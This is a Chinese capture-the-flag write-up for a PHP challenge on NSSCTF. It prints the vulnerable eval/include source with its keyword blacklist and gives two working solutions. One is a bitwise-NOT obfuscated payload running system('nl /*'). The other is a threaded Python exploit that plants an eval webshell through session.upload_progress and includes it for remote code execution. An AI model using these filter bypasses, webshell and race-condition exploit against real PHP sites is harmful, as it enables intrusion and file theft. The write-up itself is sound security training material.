题目源代码:
php
<?php
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}
if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}
function filter($var){
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}
return False;
}
function checkNums($var){
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>
解题方法一:
exp:
php
<?php
$s='nl /*';
echo '~'.urlencode(~$s);
http://node4.anna.nssctf.cn:28488/?mode=eval&shell=system(~%91%93%DF%D0%D5);
解题方法二:
【文件包含&条件竞争】利用session.upload_progress文件包含进行RCE
使用条件
- 目标环境开启了
session.upload_progress.enable
选项 - 发送一个文件上传请求,其中包含一个文件表单和一个名字是
PHP_SESSION_UPLOAD_PROGRESS
的字段 - 请求的Cookie中包含Session ID
注意的是,如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传。
python
import io
import threading
import requests
url = "http://node4.anna.nssctf.cn:28873/"
sess_id = "1"
file_name = '1.txt'
file_data = io.BytesIO(b'a' * 1024 * 50)
def write(session):
while True:
session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'},
cookies={'PHPSESSID': sess_id}, files={'file': (file_name, file_data)})
def read(session):
while True:
res = session.post(f"{url}?mode=foo&file=/tmp/sess_{sess_id}&cmd=system('nl /*');")
if file_name in res.text:
print(res.text)
break
else:
print("Retry")
if __name__ == "__main__":
evnet = threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write, args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()
evnet.set()